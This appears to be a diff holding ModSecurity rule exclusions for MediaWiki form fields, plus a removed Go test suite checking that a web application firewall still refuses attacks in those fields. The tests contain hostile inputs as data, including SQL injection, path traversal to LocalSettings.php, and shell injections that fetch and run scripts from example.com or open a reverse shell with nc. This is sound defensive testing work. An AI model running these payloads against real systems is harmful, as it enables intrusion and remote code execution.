ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900918,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:lgpassword|password|retype)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password|retype)$/"
# Other apps use the names password and retype too, and these exclusions apply
# in front of every app. So these two fields skip the same rules only in the
# forms that send them. Each of these forms sends the field authAction, whose
# value is the same in every language:
# password, retype: authAction=change, changing the password at
# Special:ChangeCredentials
# retype: authAction=create, signing up at Special:CreateAccount
# retype: authAction=login-continue, setting a new password at
# Special:UserLogin after a reset or once the old one expired
# A wiki in another language posts these forms to its own names for the pages,
# such as Spezial:Benutzerkonto_anlegen on a German wiki. So the page's name
# does not count, but its title must have a namespace, such as Special: or
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
# of /index.php. A title on any other path does not count, so another app's
# paths under /index.php/ keep every rule. These rules are in phase 2, because
# the forms send authAction in the body.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900919,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
SecRule ARGS:authAction "@streq change" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype)$/"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900920,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &ARGS_GET:retype "@eq 0" "chain"
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
ctl:ruleRemoveTargetById=920540;ARGS:retype,\
ctl:ruleRemoveTargetById=921200;ARGS:retype,\
ctl:ruleRemoveTargetById=930100;ARGS:retype,\
ctl:ruleRemoveTargetById=930110;ARGS:retype,\
ctl:ruleRemoveTargetById=930120;ARGS:retype,\
ctl:ruleRemoveTargetById=932125;ARGS:retype,\
ctl:ruleRemoveTargetById=932130;ARGS:retype,\
ctl:ruleRemoveTargetById=932160;ARGS:retype,\
ctl:ruleRemoveTargetById=932230;ARGS:retype,\
ctl:ruleRemoveTargetById=932250;ARGS:retype,\
ctl:ruleRemoveTargetById=932260;ARGS:retype,\
ctl:ruleRemoveTargetById=932270;ARGS:retype,\
ctl:ruleRemoveTargetById=932280;ARGS:retype,\
ctl:ruleRemoveTargetById=932330;ARGS:retype,\
ctl:ruleRemoveTargetById=932340;ARGS:retype,\
ctl:ruleRemoveTargetById=932370;ARGS:retype,\
ctl:ruleRemoveTargetById=932380;ARGS:retype,\
ctl:ruleRemoveTargetById=933100;ARGS:retype,\
ctl:ruleRemoveTargetById=933135;ARGS:retype,\
ctl:ruleRemoveTargetById=933180;ARGS:retype,\
ctl:ruleRemoveTargetById=933210;ARGS:retype,\
ctl:ruleRemoveTargetById=941100;ARGS:retype,\
ctl:ruleRemoveTargetById=941120;ARGS:retype,\
ctl:ruleRemoveTargetById=941160;ARGS:retype,\
ctl:ruleRemoveTargetById=941180;ARGS:retype,\
ctl:ruleRemoveTargetById=942100;ARGS:retype,\
ctl:ruleRemoveTargetById=942151;ARGS:retype,\
ctl:ruleRemoveTargetById=942190;ARGS:retype,\
ctl:ruleRemoveTargetById=942230;ARGS:retype,\
ctl:ruleRemoveTargetById=942290;ARGS:retype,\
ctl:ruleRemoveTargetById=942320;ARGS:retype,\
ctl:ruleRemoveTargetById=942540;ARGS:retype,\
ctl:ruleRemoveTargetById=942550;ARGS:retype,\
ctl:ruleRemoveTargetById=944150;ARGS:retype"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a
# table and code blocks with a shell script, an SQL query and JavaScript, so
# they skip those fields: 930120, 932120, 932125, 932160, 932230, 932235,
# 932250, 932260, 941180, 941390, 942190 and 942270.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900911,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTextbox1 "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932125;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932160;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941180;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941390;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942190;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942270;ARGS:wpTextbox1"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900912,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:text|appendtext|prependtext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942270;ARGS:/^(?:text|appendtext|prependtext)$/"
# A REST API client saving a page sends its wikitext in source, which skips
# the rules above, and its summary in comment, which skips the four rules.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900913,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:source|comment)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.source,\
ctl:ruleRemoveTargetById=932160;ARGS:json.source,\
ctl:ruleRemoveTargetById=932230;ARGS:json.source,\
ctl:ruleRemoveTargetById=932235;ARGS:json.source,\
ctl:ruleRemoveTargetById=941180;ARGS:json.source,\
ctl:ruleRemoveTargetById=941390;ARGS:json.source,\
ctl:ruleRemoveTargetById=942190;ARGS:json.source,\
ctl:ruleRemoveTargetById=942270;ARGS:json.source"
# The reasons on the admin pages are in bodies. They skip only 930120 and
# 932120, which refused "Spamming links to .htaccess guides" and the same with
# powershell:
# wpReason-other: blocking a user
# user-reason: changing a user's groups
# mwProtect-reason: protecting a page
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900914,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
# line. Watchlists holding "Lighthouse notes" and then one of these titles
# were refused:
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
# refused. A watchlist that mixes a title holding one of these with a title
# starting with a command name is refused too.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900915,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles
# holding a command.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
-527
View File
@@ -1,527 +0,0 @@
package coreruleset_test
import (
"net/http"
"slices"
"strings"
"testing"
)
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
// mediawikiAPI is MediaWiki's API.
const mediawikiAPI = "/api.php"
// mediawikiRESTPage is a page in MediaWiki's REST API.
const mediawikiRESTPage = "/rest.php/v1/page/Example"
// mediawikiUpload is MediaWiki's upload page.
const mediawikiUpload = "/wiki/Special:Upload"
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
// mediawikiAccountChange is the page that changes a password.
const mediawikiAccountChange = "/wiki/Special:ChangeCredentials"
// mediawikiSignUp is the page that creates an account.
const mediawikiSignUp = "/wiki/Special:CreateAccount"
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
// to.
const mediawikiBlock = "/wiki/Special:Block"
// mediawikiProtect is the address MediaWiki's form for protecting a page
// posts to.
const mediawikiProtect = "/index.php?title=Example&action=protect"
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
// URLs posts its sign-in and upload forms.
const (
mediawikiSignInPage = "/index.php/Special:UserLogin"
mediawikiUploadPage = "/index.php/Special:Upload"
)
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
// each in the query, on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{
"/index.php?title=",
"/index.php?title=Special:Search&search=",
"/wiki/Special:WhatLinksHere?target=",
"/wiki/Special:Log?page=",
"/wiki/Special:Log?user=",
"/wiki/Special:ListUsers?username=",
"/wiki/Special:AllPages?from=",
"/wiki/Special:AllPages?to=",
"/wiki/Special:PrefixIndex?prefix=",
mediawikiSignIn + "&returnto=",
mediawikiSignIn + "&returntoquery=",
"/wiki/Special:ListFiles?ilsearch=",
"/wiki/Special:FileDuplicateSearch?filename=",
mediawikiUpload + "?wpDestFile=",
"/wiki/Special:BlockList?wpTarget=",
"/index.php?title=Special:BlockList&wpTarget=",
"/w/index.php?title=Special:Search&search=",
"/index.php/Special:AllPages?from=",
"/w/index.php/Special:Search?search=",
"/api.php?action=opensearch&search=",
"/api.php?action=query&list=search&srsearch=",
"/api.php?action=query&list=prefixsearch&pssearch=",
"/api.php?action=query&generator=prefixsearch&gpssearch=",
"/api.php?action=query&generator=search&gsrsearch=",
"/api.php?action=query&titles=",
"/api.php?action=parse&page=",
"/api.php?action=query&list=allpages&apfrom=",
"/api.php?action=query&list=allpages&apto=",
"/api.php?action=query&list=allpages&apprefix=",
"/api.php?action=query&generator=allpages&gapfrom=",
"/api.php?action=query&generator=allpages&gapto=",
"/api.php?action=query&generator=allpages&gapprefix=",
"/api.php?action=query&generator=allimages&gaifrom=",
"/api.php?action=query&generator=allimages&gaiprefix=",
"/api.php?action=query&list=allimages&aifrom=",
"/api.php?action=query&list=allimages&aiprefix=",
"/api.php?action=query&list=allusers&aufrom=",
"/api.php?action=query&list=allusers&auprefix=",
"/api.php?action=query&list=backlinks&bltitle=",
"/api.php?action=query&generator=backlinks&gbltitle=",
"/api.php?action=query&list=exturlusage&euquery=",
"/api.php?action=query&generator=exturlusage&geuquery=",
"/api.php?action=query&list=logevents&letitle=",
"/api.php?action=query&list=usercontribs&ucuser=",
"/api.php?action=query&list=blocks&bkusers=",
"/w/api.php?action=opensearch&search=",
"/rest.php/v1/search/title?q=",
"/rest.php/v1/search/page?q=",
}
// mediawikiAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiAttacks = []string{
sqlInjection,
"..%2F..%2FLocalSettings.php",
scriptInjection,
}
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/index.php?id=", "/load.php?modules="},
mediawikiQueryFields...)
for _, attack := range mediawikiAttacks {
for _, target := range targets {
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
// mediawikiBodyField is a field of a form data body, sent to a path.
type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
// each in a form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiEdit, "wpSummary="},
{mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="},
{mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="},
{mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="},
{mediawikiAPI, "from="},
{mediawikiAPI, "to="},
{mediawikiAPI, "summary="},
{mediawikiAPI, "sectiontitle="},
{mediawikiAPI, "filename="},
{mediawikiAPI, "comment="},
{mediawikiAPI, "reason="},
{mediawikiAPI, "user="},
{mediawikiAPI, "lgname="},
{mediawikiAPI, "username="},
}
// mediawikiPasswordFields are the passwords, which skip the four rules and the
// rules that random passwords set off. mediawikiPasswordFields sends each in a
// form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiPasswordFields = []mediawikiBodyField{
{mediawikiSignIn, "wpPassword="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, passwordField},
}
// mediawikiReasonFields are the reasons on the admin pages, which skip only
// 930120 and 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiReasonFields = []mediawikiBodyField{
{mediawikiBlock, "wpReason-other="},
{"/index.php/Special:UserRights", "user-reason="},
{mediawikiProtect, "mwProtect-reason="},
}
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
// list of titles in, one per line.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mediawikiWatchlist = mediawikiBodyField{
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
}
// mediawikiWikitextFields are the form data fields that hold wikitext.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiWikitextFields = []mediawikiBodyField{
{mediawikiEdit, "wpTextbox1="},
{mediawikiAPI, "text="},
{mediawikiAPI, "appendtext="},
{mediawikiAPI, "prependtext="},
}
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
for _, attack := range mediawikiAttacks {
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
for _, field := range []string{"source", "comment"} {
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
}
}
}
func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
t.Parallel()
// The form that changes a password posts to this subpage.
const subpage = "/MediaWiki%5CAuth%5CPasswordAuthenticationRequest"
// The forms send authAction in the body, and MediaWiki reads it from the
// query too. These requests send it in the query, so that the body holds
// only the passwords. The recorded requests send it in the body.
const (
create = "authAction=create"
loginContinue = "authAction=login-continue"
changeAction = "authAction=change"
)
change := []string{passwordKey, retypeKey}
retype := []string{retypeKey}
wantPasswordFieldsPass(t, []passwordFields{
{mediawikiSignUp + "?" + create, formData, retype},
{"/index.php/Special:CreateAccount?" + create, formData, retype},
{
"/index.php?title=Special:CreateAccount&returnto=Main_Page&" + create,
formData, retype,
},
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
{mediawikiSignIn + "&" + loginContinue, formData, retype},
{mediawikiAccountChange + "?" + changeAction, formData, change},
{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
{
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
formData, change,
},
{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
// A German wiki's names for the same pages.
{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
{
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
formData, retype,
},
{
"/wiki/Spezial:Anmeldeinformationen_%C3%A4ndern" + subpage + "?" + changeAction,
formData, change,
},
{mediawikiAPI, formData, retype},
})
}
// Other apps use the names password and retype too. So these fields keep every
// rule unless the page is MediaWiki's, its title has a namespace, and
// authAction names a form that sends the field.
func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
t.Parallel()
const appPath = "/index.php/apps/mail/api/accounts"
crs := readingBodies(t)
for _, sent := range []struct{ target, name string }{
{appPath, passwordKey},
{appPath + "?authAction=create", retypeKey},
{appPath + "?title=Special:ChangeCredentials&authAction=change", passwordKey},
{appPath + "?title=Special:CreateAccount&authAction=create", retypeKey},
{"/index.php?title=Main_Page&authAction=change", passwordKey},
{"/index.php/Main_Page?authAction=create", retypeKey},
{"/wiki/Main_Page?authAction=change", passwordKey},
{mediawikiAccountChange, passwordKey},
{mediawikiAccountChange + "?authAction=login", passwordKey},
{mediawikiSignUp + "?authAction=create", passwordKey},
{"/index.php?title=Special:CreateAccount&authAction=create", passwordKey},
{"/index.php/Spezial:Anmelden?authAction=login", retypeKey},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
body := formBody(sent.name, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
}
}
}
func TestMediaWikiPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mediawikiPasswordFields {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack))
if got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
mediawikiPasswordFields) {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
}
}
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"comment":"; wget http://example.com/x.sh"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once.
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
for _, attack := range []string{
mediawikiCommandAttack,
"Example%0D%0A" + mediawikiCommandAttack,
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
"Example%0D%0A%24%28id%29",
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
"%3B%20sh%20-i",
"%26%26%20sh%20-i",
"%7C%7C%20sh%20-i",
"%60sh%20-i%60",
"%3B%20ls%20-la%20%2F",
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
} {
body := mediawikiWatchlist.field + attack
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
